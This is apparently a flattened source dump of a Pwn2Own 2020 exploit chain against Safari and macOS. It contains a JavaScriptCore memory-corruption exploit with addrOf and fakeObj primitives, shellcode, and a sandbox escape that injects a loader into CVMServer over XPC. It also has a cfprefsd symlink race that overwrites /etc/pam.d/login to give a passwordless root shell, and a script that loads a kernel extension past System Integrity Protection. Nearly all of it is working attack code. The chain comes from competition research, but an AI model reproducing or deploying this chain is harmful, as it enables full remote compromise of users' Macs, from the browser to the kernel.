return address; 223 | } 224 | 225 | bool vm_read_chk(vm_map_t target_task, size_t address, void *data, vm_size_t size) { 226 | mach_msg_type_number_t outCnt; 227 | memset(data, 0, size); 228 | vm_address_t dataPtr; 229 | if(vm_read(target_task, address, size, &dataPtr, &outCnt)) { 230 | puts("error: vm_read"); 231 | return false; 232 | } 233 | // printf("vm_read(%p, 0x%x): 0x%x\n", address, size, outCnt); 234 | memcpy(data, (void *)dataPtr, outCnt); 235 | vm_deallocate(mach_task_self(), dataPtr, outCnt); 236 | return true; 237 | } 238 | 239 | __asm__(".data\n_loader_start: .incbin \"" CURRENT_DIR "/../loader/loader.bin\"\n_loader_end:"); 240 | __asm__(".data\n_library_start: .incbin \"" CURRENT_DIR "/../sbx/cvm_side\"\n_library_end:"); 241 | 242 | extern char loader_start[], loader_end[]; 243 | extern char library_start[], library_end[]; 244 | 245 | void spoof(mach_port_t port) { 246 | thread_act_array_t threads; 247 | mach_msg_type_number_t count; 248 | task_threads(port, &threads, &count); 249 | printf("threads: %d\n", count); 250 | static bool first = true; 251 | 252 | threadexec_t tx = threadexec_init(port, threads[1], TX_BORROW_THREAD_PORT | (first ? TX_SUSPEND : 0)); 253 | puts("yey"); 254 | 255 | size_t res = -1, res2 = -1; 256 | threadexec_call_cv(tx, &res, sizeof(res), (void *)&mmap, 257 | 6, 258 | TX_CARG_LITERAL(uint64_t, 0), 259 | TX_CARG_LITERAL(uint64_t, (0x1000 + library_end - library_start)), 260 | TX_CARG_LITERAL(uint64_t, 7), 261 | TX_CARG_LITERAL(uint64_t, MAP_JIT | MAP_ANON | MAP_PRIVATE), 262 | TX_CARG_LITERAL(uint64_t, -1), 263 | TX_CARG_LITERAL(uint64_t, 0) 264 | ); 265 | 266 | printf("0x%lx\n", res); 267 | printf("%p %p\n", dlopen, dlsym); 268 | 269 | vm_write(port, res, (vm_offset_t)loader_start, loader_end - loader_start); 270 | vm_write(port, res + 0x1000, (vm_offset_t)library_start, library_end - library_start); 271 | 272 | first = false; 273 | threadexec_call_cv(tx, &res2, sizeof(res), (void *)(res + 0x5D), 274 | 4, 275 | TX_CARG_LITERAL(uint64_t, (res + 0x1000)), 276 | TX_CARG_LITERAL(uint64_t, dlopen), 277 | TX_CARG_LITERAL(uint64_t, dlsym), 278 | TX_CARG_LITERAL(uint64_t, NULL) 279 | ); 280 | 281 | puts("done!"); 282 | } 283 | 284 | bool 285 | trigger() 286 | { 287 | // xpc_connection_t spray_conn = spray(); 288 | xpc_connection_t conn = connect(true); 289 | xpc_object_t msg; 290 | 291 | char buf[0x1000]; 292 | strcpy(buf, "../../../../"); 293 | strcat(buf, tmpdir); 294 | for(int i = 0; i < PATHRAND; i++) 295 | strcat(buf, (rand() % 2) ? "./" : "//"); 296 | strcat(buf, "exp"); 297 | strcat(buf, prefix); 298 | xpc_dictionary_set_string(init_msg, "framework_name", buf); 299 | 300 | #define COUNT 1 301 | for(int i = 0; i < COUNT; i++) { 302 | xpc_connection_send_message_with_reply(conn, init_msg, NULL, ^(xpc_object_t resp) { 303 | printf("Received second message: %p\n%s\n", resp, xpc_copy_description(resp)); 304 | }); 305 | 306 | msg = xpc_dictionary_create(NULL, NULL, 0); 307 | xpc_dictionary_set_int64(msg, "message", 7); 308 | xpc_dictionary_set_uint64(msg, "heap_index", heap_index); 309 | 310 | xpc_object_t resp = xpc_connection_send_message_with_reply_sync(conn, msg); 311 | 312 | { 313 | static int count = 0; 314 | count++; 315 | int pid = 0; 316 | mach_port_t port = _xpc_dictionary_extract_mach_send((xpc_connection_t)resp, "vm_port"); 317 | printf("Received second message: %p\n%s\n", resp, xpc_copy_description(resp)); 318 | 319 | if(port) { 320 | int res = pid_for_task(port, &pid); 321 | printf("try: %d %d %d\n", port, res, pid); 322 | if(!res) { 323 | puts("success!"); 324 | spoof(port); 325 | return true; 326 | } 327 | } 328 | 329 | if(xpc_get_type(resp) == &_xpc_type_error) { 330 | // exit(0); 331 | } 332 | } 333 | } 334 | 335 | return false; 336 | } 337 | 338 | void write_file(const char *buf, void *data, size_t size) { 339 | int fd = open(buf, O_CREAT|O_WRONLY, 0777); 340 | if(fd == -1) { 341 | my_error("open"); 342 | exit(1); 343 | } 344 | write(fd, data, size); 345 | close(fd); 346 | } 347 | 348 | void *cvm_main(void *) { 349 | struct stat statbuf; 350 | 351 | tmpdir = conf(0x10001); 352 | if(stat("/System/Library/Frameworks/OpenGL.framework/Libraries/libLLVMContainer.dylib", &statbuf)) { 353 | my_error("stat"); 354 | return NULL; 355 | } 356 | maps_exp_.lib_size = statbuf.st_size; 357 | 358 | if(stat(PLUGIN_NAME, &statbuf)) { 359 | my_error("stat"); 360 | return NULL; 361 | } 362 | maps_exp_.plugin_size = statbuf.st_size; 363 | 364 | CC_SHA256(data_exp, sizeof(data_exp), maps_exp_.hash); 365 | 366 | setvbuf(stdout, 0, _IONBF, 0); 367 | sprintf(prefix, "%lX", clock()); 368 | 369 | char logpath[0x100]; 370 | sprintf(logpath, "%s/%s", tmpdir, "log.txt"); 371 | unlink(logpath); 372 | 373 | close(0); 374 | close(1); 375 | close(2); 376 | int fd = open(logpath, O_CREAT|O_WRONLY, 0777); 377 | for(int i = 0; i < 3; i++) 378 | dup(fd); 379 | 380 | char buf[0x400]; 381 | int id = geteuid(); 382 | 383 | #define WRITE(type) \ 384 | snprintf(buf, sizeof(buf), "%s/%s%s.x86_64.%d.data", tmpdir, #type, prefix, id); \ 385 | write_file(buf, data_##type, data_##type##_size); \ 386 | snprintf(buf, sizeof(buf), "%s/%s%s.x86_64.%d.maps", tmpdir, #type, prefix, id); \ 387 | write_file(buf, maps_##type, maps_##type##_size); 388 | 389 | { 390 | size_t offsets[] = { 391 | // 0x3b 392 | }; 393 | 394 | uint32_t *addr = &mach_task_self_; 395 | while(true) { 396 | if(*addr == 0x103) { 397 | break; 398 | } 399 | addr++; 400 | } 401 | 402 | for(int i = 0; i < sizeof(offsets) / sizeof(offsets[0]); i++) { 403 | uint32_t **base = (uint32_t **)(maps_exp + 0x50 + offsets[i] * 8); 404 | *base = addr; 405 | } 406 | } 407 | 408 | { 409 | size_t offsets[] = { 410 | 0xf, 0x11 411 | }; 412 | 413 | // Just peek any library area that contains "0x103" dword in 8-byte aligned storage 414 | extern size_t NSOwnedPointerHashCallBacks; 415 | size_t *addr = &NSOwnedPointerHashCallBacks; 416 | while(true) { 417 | if(*addr == 0x103) { 418 | break; 419 | } 420 | addr++; 421 | } 422 | 423 | /* 424 | GetMemory(index) 425 | rax := UserInput 426 | [rax+0x38] = X 427 | [X+0x30] = Length (UINT64_MAX) 428 | [X+0x28] = Y (0) 429 | [Y+0x18*index+0x10] = 0x103 (== mach_task_self_) 430 | */ 431 | size_t *target_addr = (size_t *)(((size_t *)&_xpc_error_termination_imminent)[4] + 0x10 - 0x38); 432 | extern int num_frames; 433 | heap_index = (0xaaaaaaaaaaaaaabLL * ( 434 | ((size_t)addr - 0x10 - 435 | ((size_t *)target_addr[0x38 >> 3])[0x28 >> 3]) 436 | >> 3 437 | ) % (1LL << 61)); 438 | // index * 0x18 = (0x00007FFF9963CFB8 - 0x00007FFF9978EB68) 439 | printf("0x%llX\n", heap_index); 440 | 441 | for(unsigned long i = 0; i < sizeof(offsets) / sizeof(offsets[0]); i++) { 442 | size_t **base = (size_t **)(maps_exp + 0x50 + offsets[i] * 8); 443 | *base = target_addr; 444 | } 445 | } 446 | 447 | WRITE(exp); 448 | 449 | srand(time(NULL)); 450 | 451 | init_msg = xpc_dictionary_create(NULL, NULL, 0); 452 | xpc_dictionary_set_int64(init_msg, "message", 4); 453 | struct { 454 | uint64_t size; 455 | int arch; 456 | int flags; 457 | } _id = { 458 | 0xFFFFFFFFFFF0000, 0x2, *(short *)&maps_exp[0x3c] 459 | }; 460 | xpc_dictionary_set_value(init_msg, "args", xpc_data_create(&_id, 16)); 461 | spray_value(init_msg); 462 | xpc_dictionary_set_string(init_msg, "bitcode_name", ""); 463 | xpc_dictionary_set_string(init_msg, "plugin_name", PLUGIN_NAME); 464 | 465 | for(int i = 0; i < TRIAL; i++) { 466 | for(int i = 0; i < 8; i++) { 467 | spray(); 468 | } 469 | 470 | if(trigger()) 471 | break; 472 | usleep(200000); 473 | } 474 | // for(int i = 0; i < TRIAL; i++) { 475 | // xpc_release(conn[i]); 476 | // } 477 | return NULL; 478 | } 479 | -------------------------------------------------------------------------------- /payload/sbx/cvm_side.cc: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | char base[0x400]; 11 | 12 | void *handler(void *arg) { 13 | while(true) { 14 | for(int i = 0; i < 65536; i++) 15 | kill(i, SIGCONT); 16 | sleep(1); 17 | } 18 | } 19 | 20 | void write_file(const char *path, const void *ptr, size_t size) { 21 | int fd = open(path, O_CREAT | O_WRONLY, 0777); 22 | write(fd, ptr, size); 23 | close(fd); 24 | } 25 | 26 | void init_app() { 27 | strcpy(base, "/private/var/db/CVMS/"); 28 | chdir(base); 29 | unlink("my.app"); 30 | 31 | char randbuf[0x1000]; 32 | sprintf(randbuf, "%lu.app", clock()); 33 | symlink(randbuf, "my.app"); 34 | 35 | mkdir(randbuf, 0777); 36 | chdir(randbuf); 37 | 38 | #include "bundle.hh" 39 | } 40 | 41 | int main() { 42 | init_app(); 43 | 44 | pthread_t thread; 45 | pthread_create(&thread, NULL, handler, NULL); 46 | } 47 | -------------------------------------------------------------------------------- /payload/sbx/embed.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import os, sys 4 | 5 | os.chdir(sys.argv[1]) 6 | 7 | def recursive(path): 8 | base = path 9 | for path in os.listdir(path): 10 | abspath = os.path.join(base, path).replace('\\', '/') 11 | sys.stderr.write('Packing ' + abspath+'\n') 12 | if os.path.isdir(abspath): 13 | print("mkdir(\"%s\", 0777);" % abspath) 14 | recursive(abspath) 15 | else: 16 | print("{") 17 | print(" unsigned char content[] = {%s};" % ((', '.join('%d' % x for x in open(abspath, "rb").read())))) 18 | print(" write_file(\"%s\", content, sizeof(content));" % abspath) 19 | print("}") 20 | 21 | recursive('.') -------------------------------------------------------------------------------- /payload/sbx/root/.gitignore: -------------------------------------------------------------------------------- 1 | /Unrootless-Kext 2 | /Unrootless 3 | -------------------------------------------------------------------------------- /payload/sbx/root/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | add_custom_target( 2 | bundle.hh 3 | COMMAND cp -rf app ${CMAKE_CURRENT_BINARY_DIR} 4 | COMMAND cp $ ${CMAKE_CURRENT_BINARY_DIR}/app/Contents/MacOS/popcalc 5 | COMMAND python3 "${PROJECT_SOURCE_DIR}/embed.py" "${CMAKE_CURRENT_BINARY_DIR}/app" > ${CMAKE_CURRENT_BINARY_DIR}/bundle.hh 6 | DEPENDS popcalc 7 | WORKING_DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR} 8 | ) 9 | 10 | add_executable(popcalc main.c getroot.c) 11 | 12 | target_compile_options(popcalc PUBLIC 13 | -DCURRENT_DIR="${CMAKE_CURRENT_SOURCE_DIR}" 14 | ) -------------------------------------------------------------------------------- /payload/sbx/root/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS := -DCURRENT_DIR=\"$(CURDIR)\" 2 | TARGET := app/Contents/MacOS/popcalc 3 | 4 | all: $(TARGET) 5 | 6 | $(TARGET): main.c getroot.c 7 | ./build-unrootless.sh 8 | $(CC) $(CFLAGS) -o $@ $^ 9 | 10 | clean: 11 | rm -f $(TARGET) 12 | 13 | .PHONY: all clean 14 | -------------------------------------------------------------------------------- /payload/sbx/root/app/Contents/Info.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | BuildMachineOSBuild 6 | 19D76 7 | CFBundleDevelopmentRegion 8 | en 9 | CFBundleExecutable 10 | popcalc 11 | CFBundleIdentifier 12 | nogroup.popcalc 13 | CFBundleInfoDictionaryVersion 14 | 6.0 15 | CFBundleName 16 | popcalc 17 | CFBundlePackageType 18 | APPL 19 | CFBundleShortVersionString 20 | 1.0 21 | CFBundleSupportedPlatforms 22 | 23 | MacOSX 24 | 25 | CFBundleVersion 26 | 1 27 | DTCompiler 28 | com.apple.compilers.llvm.clang.1_0 29 | DTPlatformBuild 30 | 11C504 31 | DTPlatformVersion 32 | GM 33 | DTSDKBuild 34 | 19B90 35 | DTSDKName 36 | macosx10.15 37 | DTXcode 38 | 1130 39 | DTXcodeBuild 40 | 11C504 41 | LSMinimumSystemVersion 42 | 10.15 43 | NSHumanReadableCopyright 44 | Copyright © 2020 setuid0. All rights reserved. 45 | NSPrincipalClass 46 | NSApplication 47 | NSSupportsAutomaticTermination 48 | 49 | NSSupportsSuddenTermination 50 | 51 | 52 | 53 | -------------------------------------------------------------------------------- /payload/sbx/root/app/Contents/MacOS/.gitignore: -------------------------------------------------------------------------------- 1 | /popcalc 2 | -------------------------------------------------------------------------------- /payload/sbx/root/app/Contents/PkgInfo: -------------------------------------------------------------------------------- 1 | APPL???? -------------------------------------------------------------------------------- /payload/sbx/root/app/Contents/Resources/.gitignore: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sslab-gatech/pwn2own2020/ff08eef5d2d16bdcbbbc96e0d43abbcdf2d0a1c2/payload/sbx/root/app/Contents/Resources/.gitignore -------------------------------------------------------------------------------- /payload/sbx/root/build-unrootless.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | git clone https://github.com/LinusHenze/Unrootless-Kext.git 3 | cd Unrootless-Kext 4 | xcodebuild 5 | cp build/Release/Unrootless.kext/Contents/MacOS/Unrootless .. 6 | 7 | -------------------------------------------------------------------------------- /payload/sbx/root/getroot.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | // chown(TARGET, USER, group(USER)) 13 | #define TARGET "/etc/pam.d/login" 14 | char *WRITABLE; 15 | char *USER; 16 | 17 | const int COUNT = 10000; 18 | int status = 0; 19 | bool pwned = false; 20 | 21 | void *race(void *arg) { 22 | while(!pwned) { 23 | symlink(TARGET, "!"); 24 | unlink("!/a.plist"); 25 | rmdir("!"); 26 | unlink("!"); 27 | } 28 | return NULL; 29 | } 30 | 31 | void exploit() { 32 | char *serviceName = "com.apple.cfprefsd.daemon"; 33 | status = 0; 34 | 35 | xpc_connection_t conn; 36 | xpc_object_t msg; 37 | 38 | conn = xpc_connection_create_mach_service(serviceName, NULL, 0); 39 | if (conn == NULL) { 40 | perror("xpc_connection_create_mach_service"); 41 | return; 42 | } 43 | 44 | xpc_connection_set_event_handler(conn, ^(xpc_object_t obj) { 45 | status++; 46 | }); 47 | 48 | xpc_connection_resume(conn); 49 | 50 | msg = xpc_dictionary_create(NULL, NULL, 0); 51 | xpc_dictionary_set_int64(msg, "CFPreferencesOperation", 1); 52 | xpc_dictionary_set_string(msg, "CFPreferencesUser", USER); 53 | char writable_subpath[0x1000]; 54 | sprintf(writable_subpath, "%s%s", WRITABLE, "/!/a.plist"); 55 | xpc_dictionary_set_string(msg, "CFPreferencesDomain", writable_subpath); 56 | xpc_dictionary_set_bool(msg, "CFPreferencesUseCorrectOwner", true); 57 | xpc_dictionary_set_bool(msg, "CFPreferencesAvoidCache", true); 58 | xpc_dictionary_set_string(msg, "Key", "key"); 59 | xpc_dictionary_set_string(msg, "Value", "value"); 60 | 61 | for(int i = 0; i < COUNT; i++) { 62 | xpc_connection_send_message(conn, msg); 63 | } 64 | 65 | while(status < COUNT) { 66 | usleep(100000); 67 | } 68 | } 69 | 70 | void *pwn(void *arg) { 71 | #define QUOTE(x) #x 72 | 73 | char literal[] = QUOTE( 74 | auth optional pam_permit.so 75 | auth optional pam_permit.so 76 | auth optional pam_permit.so 77 | auth required pam_permit.so 78 | account required pam_permit.so 79 | account required pam_permit.so 80 | password required pam_permit.so 81 | session required pam_permit.so 82 | session required pam_permit.so 83 | session optional pam_permit.so 84 | ); 85 | 86 | while(1) { 87 | int fd = open("/etc/pam.d/login", O_CREAT|O_WRONLY, 0777); 88 | if(fd != -1) { 89 | write(fd, literal, strlen(literal)); 90 | close(fd); 91 | puts("pwned! now 'login root' will give you a root shell"); 92 | pwned = true; 93 | break; 94 | } else { 95 | perror("open"); 96 | } 97 | usleep(1000000); 98 | } 99 | 100 | return NULL; 101 | } 102 | 103 | static void 104 | connection_handler(xpc_connection_t peer) 105 | { 106 | xpc_connection_set_event_handler(peer, ^(xpc_object_t event) { 107 | printf("Message received: %p\n", event); 108 | }); 109 | 110 | xpc_connection_resume(peer); 111 | } 112 | 113 | void getroot() { 114 | struct passwd *pw = getpwuid(getuid()); 115 | if(!pw) { 116 | perror("getpwuid"); 117 | exit(1); 118 | } 119 | 120 | WRITABLE = pw->pw_dir; 121 | USER = pw->pw_name; 122 | 123 | setvbuf(stdout, 0, 2, 0); 124 | chdir(WRITABLE); 125 | 126 | pthread_t thread[2]; 127 | pthread_create(&thread[0], NULL, race, NULL); 128 | pthread_create(&thread[1], NULL, pwn, NULL); 129 | while(!pwned) { 130 | printf("Trying %d calls...\n", COUNT); 131 | exploit(); 132 | } 133 | } 134 | -------------------------------------------------------------------------------- /payload/sbx/root/kext.sh: -------------------------------------------------------------------------------- 1 | #!/bin/zsh 2 | 3 | cd /private/var/root 4 | 5 | rm -rf *.kext 6 | killall -9 kextload 2>/dev/null 7 | 8 | cat > 1.sb < 2.sb </dev/null 37 | kextunload -b com.apple.driver.AppleHV 38 | 39 | ln -sfh $PWD B.kext/symlink 40 | 41 | kextcache --clear-staging 42 | sandbox-exec -f 1.sb kextload -vvv B.kext 43 | 44 | DIR=$(echo /Library/StagedExtensions${PWD}/*.kext) 45 | NAME=$(basename $DIR) 46 | echo $DIR 47 | mkdir -p $NAME/symlink/C.kext 48 | cp -rf B.kext/A.kext/Contents $NAME/symlink/C.kext 49 | 50 | echo 51 | (sandbox-exec -f 2.sb kextload -vvvvvvvvvvvvv $NAME/symlink/C.kext; echo load; exit) & 52 | while [ ! -d C.kext ]; do 53 | killall -CONT kextload 54 | sleep 0.1 55 | done 56 | 57 | killall -CONT kextload 58 | # DONE : createRefreshedKext("/var/root/C.kext") 59 | 60 | for i in {1..100}; do 61 | sleep 0.2 62 | if [ $i == 15 ]; then 63 | mv C.kext D.kext 64 | ln -sfh /System/Library/Extensions/AppleHV.kext C.kext 65 | # rm D.kext/Contents/MacOS/AppleHV 66 | fi 67 | if [ $i == 34 ]; then 68 | rm -rf C.kext 69 | mv D.kext C.kext 70 | # cp -rf B.kext/A.kext/Contents/MacOS C.kext/Contents 71 | cp /tmp/Unrootless C.kext/Contents/MacOS/AppleHV 72 | sleep 1 73 | fi 74 | killall -CONT kextload || break 75 | echo -n $i\ 76 | done 77 | 78 | echo 'csrutil status; login root' > /tmp/sayhi.command 79 | chmod 0777 /tmp/sayhi.command -------------------------------------------------------------------------------- /payload/sbx/root/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | void getroot(); 7 | 8 | __asm__("_script: .incbin \"" CURRENT_DIR "/kext.sh\"\n.byte 0"); 9 | __asm__("_module: .incbin \"" CURRENT_DIR "/Unrootless\"\n_module_end:"); 10 | extern char script[], module[], module_end[]; 11 | 12 | void root_to_kernel() { 13 | int fd = open("/tmp/script", O_CREAT|O_WRONLY, 0777); 14 | write(fd, script, strlen(script)); 15 | close(fd); 16 | 17 | fd = open("/tmp/Unrootless", O_CREAT|O_WRONLY, 0777); 18 | write(fd, module, module_end - module); 19 | close(fd); 20 | 21 | while(system("csrutil status | grep disabled")) 22 | system("echo bash /tmp/script | login root 2>/tmp/log >/tmp/log"); 23 | 24 | system("open /tmp/sayhi.command"); 25 | } 26 | 27 | int main() { 28 | system("open /System/Applications/Calculator.app"); 29 | system("say 'hello. you have benn pwned.'"); 30 | 31 | getroot(); 32 | root_to_kernel(); 33 | return 0; 34 | } 35 | -------------------------------------------------------------------------------- /payload/sbx/safari.mm: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #define WEBCORE_EXPORT 5 | #include "ResourceError.h" 6 | #import 7 | #import 8 | #include 9 | #import 10 | #import 11 | #include 12 | 13 | namespace WTF { 14 | } 15 | 16 | namespace WebCore { 17 | String getNSURLErrorDomain() 18 | { 19 | static const NeverDestroyed errorDomain(NSURLErrorDomain); 20 | return errorDomain.get(); 21 | } 22 | } 23 | 24 | class ClientVftable; 25 | using namespace WebCore; 26 | 27 | class Client { 28 | public: 29 | ClientVftable *vftable; 30 | }; 31 | 32 | class ClientVftable { 33 | char pad[0x140]; 34 | public: 35 | void (*dispatchDidFailProvisionalLoad)(Client *self, ResourceError &error, bool continueLoading); 36 | }; 37 | 38 | class Loader { 39 | char pad[8]; 40 | public: 41 | Client *client; 42 | }; 43 | 44 | class Frame { 45 | char pad[0x98]; 46 | public: 47 | Loader *loader; 48 | }; 49 | 50 | class Document { 51 | char pad[0x1a0]; 52 | public: 53 | Frame *frame; 54 | }; 55 | 56 | template 57 | class Wrapper { 58 | public: 59 | void *a, *b, *type; 60 | T *wrapped; 61 | }; 62 | 63 | __asm__(".quad 0x13371337, 0\njmp _main"); 64 | 65 | void *cvm_main(void *); 66 | 67 | char base[0x4000] = "file:///var/db/CVMS/"; 68 | 69 | extern "C" 70 | int main(int, char **args) { 71 | Document *doc = ((Wrapper *)args[0])->wrapped; 72 | Client *client = doc->frame->loader->client; 73 | 74 | pthread_t thread; 75 | pthread_create(&thread, NULL, cvm_main, NULL); 76 | pthread_join(thread, NULL); 77 | 78 | char buf[0x400]; 79 | strcpy(buf, (char *)base); 80 | strcat(buf, "my.app"); 81 | 82 | ResourceError error(getNSURLErrorDomain(), -1101, {{}, buf}, "yee"); 83 | 84 | while(true) { 85 | for(int i = 0; i < 1; i++) 86 | client->vftable->dispatchDidFailProvisionalLoad(client, error, true); 87 | sleep(8); 88 | } 89 | } 90 | -------------------------------------------------------------------------------- /payload/sbx/threadexec.diff: -------------------------------------------------------------------------------- 1 | diff -bur threadexec-orig/src/thread_call.c threadexec/src/thread_call.c 2 | --- threadexec-orig/src/thread_call.c 2020-03-13 21:38:03.000000000 -0400 3 | +++ threadexec/src/thread_call.c 2020-03-13 20:16:57.000000000 -0400 4 | @@ -17,6 +17,7 @@ 5 | #if __arm64__ 6 | impl = thread_save_state_arm64; 7 | #endif 8 | + return NULL; 9 | if (impl == NULL) { 10 | DEBUG_TRACE(1, "%s: No implementation available for this platform", __func__); 11 | return false; 12 | @@ -31,6 +32,7 @@ 13 | #if __arm64__ 14 | impl = thread_restore_state_arm64; 15 | #endif 16 | + return NULL; 17 | if (impl == NULL) { 18 | DEBUG_TRACE(1, "%s: No implementation available for this platform", __func__); 19 | return false; 20 | diff -bur threadexec-orig/src/threadexec_call.c threadexec/src/threadexec_call.c 21 | --- threadexec-orig/src/threadexec_call.c 2020-03-13 21:38:03.000000000 -0400 22 | +++ threadexec/src/threadexec_call.c 2020-03-13 20:16:57.000000000 -0400 23 | @@ -4,6 +4,7 @@ 24 | #include "tx_log.h" 25 | 26 | #include 27 | +#include 28 | 29 | bool 30 | threadexec_call_fast(threadexec_t threadexec, void *result, size_t result_size, 31 | @@ -57,6 +58,7 @@ 32 | size_t shmem_position = 0; 33 | for (size_t i = 0; i < argument_count; i++) { 34 | enum threadexec_value_disposition disposition = arguments[i].disposition; 35 | + printf("%d\n", disposition); 36 | switch (disposition) { 37 | case TX_DISPOSITION_LITERAL: 38 | literal_arguments[i].value = arguments[i].value; 39 | diff -bur threadexec-orig/src/tx_call.c threadexec/src/tx_call.c 40 | --- threadexec-orig/src/tx_call.c 2020-03-13 21:38:03.000000000 -0400 41 | +++ threadexec/src/tx_call.c 2020-03-13 20:16:57.000000000 -0400 42 | @@ -10,10 +10,10 @@ 43 | tx_preserve(threadexec_t threadexec) { 44 | assert(threadexec->preserve_state == NULL && threadexec->thread != MACH_PORT_NULL); 45 | const void *state = thread_save_state(threadexec->thread); 46 | - if (state == NULL) { 47 | - ERROR("Could not preserve thread 0x%x", threadexec->thread); 48 | - return false; 49 | - } 50 | + // if (state == NULL) { 51 | + // ERROR("Could not preserve thread 0x%x", threadexec->thread); 52 | + // return false; 53 | + // } 54 | threadexec->preserve_state = state; 55 | return true; 56 | } 57 | -------------------------------------------------------------------------------- /payload/stage0.asm: -------------------------------------------------------------------------------- 1 | BITS 64 2 | 3 | mov rbp, [rsp + 0x28] 4 | add rbp, 0x10 5 | 6 | ; rsi = argv[0] (stage1_arr) 7 | mov rax, [rbp] 8 | ; esi = stage1_arr.length 9 | mov esi, [rax + 0x18] 10 | 11 | mov edi, 0 12 | mov edx, 7 13 | mov ecx, 0x1802 14 | mov r8d, -1 15 | mov r9, 0 16 | 17 | push rbx 18 | push rcx 19 | push rbp 20 | push r10 21 | push r12 22 | push r13 23 | push r14 24 | push r15 25 | 26 | mov eax, 20000C5h 27 | mov r10, rcx 28 | syscall 29 | 30 | pop r15 31 | pop r14 32 | pop r13 33 | pop r12 34 | pop r10 35 | pop rbp 36 | pop rcx 37 | pop rbx 38 | 39 | push rax 40 | mov rdi, rax 41 | ; rsi = argv[0] (stage1_arr) 42 | mov rax, [rbp] 43 | ; ecx = stage1_arr.length 44 | mov ecx, [rax + 0x18] 45 | ; rsi = stage1_arr.vector 46 | mov rsi, [rax + 0x10] 47 | cld 48 | rep movsb 49 | ret 50 | -------------------------------------------------------------------------------- /pwn.js: -------------------------------------------------------------------------------- 1 | const DUMMY_MODE = 0; 2 | const ADDRESSOF_MODE = 1; 3 | const FAKEOBJ_MODE = 2; 4 | 5 | function pwn() { 6 | // For debugging 7 | history.replaceState('', '', '/exploit.html?' + Math.random()); 8 | 9 | let otherWindow = document.getElementById('frame').contentWindow; 10 | let innerDiv = otherWindow.document.querySelector('div'); 11 | 12 | if (!innerDiv) { 13 | print("[-] Failed to get innerDiv"); 14 | return; 15 | } 16 | 17 | let embed = otherWindow.document.querySelector('embed'); 18 | 19 | otherWindow.document.body.removeChild(embed); 20 | otherWindow.document.body.removeChild(otherWindow.annotationContainer); 21 | 22 | const origFakeObjArr = [1.1, 1.1]; 23 | const origAddrOfArr = [2.2, 2.2]; 24 | let fakeObjArr = Array.from(origFakeObjArr); 25 | let addressOfArr = Array.from(origAddrOfArr); 26 | let addressOfTarget = {}; 27 | 28 | let sideEffectMode = DUMMY_MODE; 29 | otherWindow.document.body.addEventListener('DOMSubtreeModified', () => { 30 | if (sideEffectMode == DUMMY_MODE) 31 | return; 32 | else if (sideEffectMode == FAKEOBJ_MODE) 33 | fakeObjArr[0] = {}; 34 | else if (sideEffectMode == ADDRESSOF_MODE) 35 | addressOfArr[0] = addressOfTarget; 36 | }); 37 | 38 | print('[+] Callback is registered'); 39 | 40 | otherWindow.document.body.appendChild(embed); 41 | let triggerArr; 42 | 43 | function optFakeObj(triggerArr, arr, addr) { 44 | arr[1] = 5.5; 45 | let tmp = 0 in triggerArr; 46 | arr[0] = addr; 47 | return tmp; 48 | } 49 | 50 | function optAddrOf(triggerArr, arr) { 51 | arr[1] = 6.6; 52 | let tmp = 0 in triggerArr; 53 | return [arr[0], tmp]; 54 | } 55 | 56 | function prepare() { 57 | triggerArr = [7.7, 8.8]; 58 | triggerArr.__proto__ = embed; 59 | sideEffectMode = DUMMY_MODE; 60 | for (var i = 0; i < 1e5; i++) { 61 | optFakeObj(triggerArr, fakeObjArr, 9.9); 62 | optAddrOf(triggerArr, addressOfArr); 63 | } 64 | delete triggerArr[0]; 65 | } 66 | 67 | function cleanup() { 68 | otherWindow.document.body.removeChild(embed); 69 | otherWindow.document.body.appendChild(embed); 70 | 71 | if (sideEffectMode == FAKEOBJ_MODE) 72 | fakeObjArr = Array.from(origFakeObjArr); 73 | else if (sideEffectMode == ADDRESSOF_MODE) 74 | addressOfArr = Array.from(origAddrOfArr); 75 | 76 | sideEffectMode = DUMMY_MODE; 77 | } 78 | 79 | function addressOf(obj) { 80 | addressOfTarget = obj; 81 | sideEffectMode = ADDRESSOF_MODE; 82 | let ret = optAddrOf(triggerArr, addressOfArr)[0]; 83 | cleanup(); 84 | return Int64.fromDouble(ret); 85 | } 86 | 87 | function fakeObj(addr) { 88 | sideEffectMode = FAKEOBJ_MODE; 89 | optFakeObj(triggerArr, fakeObjArr, addr.asDouble()); 90 | let ret = fakeObjArr[0]; 91 | cleanup(); 92 | return ret; 93 | } 94 | 95 | prepare(); 96 | print("[+] Prepare is done"); 97 | 98 | let hostObj = { 99 | _: 1.1, 100 | length: (new Int64('0x4141414141414141')).asDouble(), 101 | id: (new Int64('0x0108191700000000')).asJSValue(), 102 | butterfly: 0, 103 | o:1, 104 | executable:{ 105 | a:1, b:2, c:3, d:4, e:5, f:6, g:7, h:8, i:9, // Padding (offset: 0x58) 106 | unlinkedExecutable:{ 107 | isBuiltinFunction: 1 << 31, 108 | b:0, c:0, d:0, e:0, f:0, g:0, // Padding (offset: 0x48) 109 | identifier: null 110 | } 111 | }, 112 | strlen_or_id: (new Int64('0x10')).asDouble(), 113 | target: null 114 | } 115 | 116 | // Structure ID leak of hostObj.target 117 | hostObj.target=hostObj 118 | 119 | var hostObjRawAddr = addressOf(hostObj); 120 | var hostObjBufferAddr = Add(hostObjRawAddr, 0x20) 121 | var fakeHostObj = fakeObj(hostObjBufferAddr); 122 | var fakeIdentifier = fakeObj(Add(hostObjRawAddr, 0x40)); 123 | 124 | hostObj.executable.unlinkedExecutable.identifier=fakeIdentifier 125 | let rawStructureId=Function.prototype.toString.apply(fakeHostObj) 126 | 127 | let leakStructureId=Add(new Int64( 128 | rawStructureId[9].charCodeAt(0)+rawStructureId[10].charCodeAt(0)*0x10000 129 | ),new 